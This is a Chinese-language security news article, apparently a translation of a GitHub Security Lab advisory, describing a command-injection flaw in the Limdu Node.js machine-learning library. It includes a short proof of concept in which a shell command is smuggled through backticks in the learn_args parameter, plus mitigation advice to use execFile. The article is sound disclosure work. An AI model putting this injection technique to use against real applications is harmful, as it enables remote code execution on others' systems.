聚焦源代码安全,网罗国内外最新资讯!
Limdu 是 Node.js 的机器学习框架,支持多标签分类、在线学习和实时分类。因此尤其适用于在对话系统和聊天机器人中的自然语言理解。
如下 PoC 说明了该漏洞的情况。首先安装 Limdu:
npm install limdu
创建一个假冒的二进制并放在路径中:
mkdir tmpln -s `which echo` tmp/liblinear_trainPATH=`pwd`/tmp/:$PATH
通过如下代码创建一个 Javascript 文件:
var limdu = require('limdu');var classifier = new limdu.classifiers.EnhancedClassifier({classifierType: limdu.classifiers.multilabel.BinaryRelevance.bind(0, {binaryClassifierType: limdu.classifiers.SvmLinear.bind(0, {learn_args: "-c 20.0 `touch exploit`"})}),featureExtractor: limdu.features.NGramsOfWords(1),featureLookupTable: new limdu.features.FeatureLookupTable()});classifier.trainBatch([{input: "I want an apple", output: "apl"},{input: "I want a banana", output: "bnn"}]);
运行它:
node test.js
如此,创建了一个名为 exploit 的文件。
该漏洞和其它 JavaScript 库中的多个命令注入漏洞类似,比如:CVE-2020-7646、CVE-2020-7614、CVE-2020-7597、 CVE-2019-10778、CVE-2019-10776、CVE-2018-16462、CVE-2018-16461、CVE-2018-16460、 CVE-2018-13797、CVE-2018-3786、CVE-2018-3772、CVE-2018-3746、CVE-2017-16100 和CVE-2017-16042。
如果用户通过不受信任的输入调用这个易受攻击的方法,则可能导致远程代码执行后果。
建议不要使用能够将字符串解释为shell 命令的 API。如,使用child_process.execFile,而不要使用child_process.exec。
该漏洞是由 GitHub 的研究员 Erik KroghKristensen 在2020年5月19日报告的。漏洞在当天得以修复并在6月15日发布安全公告。
https://securitylab.github.com/advisories/GHSL-2020-113-limdu
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 吧~

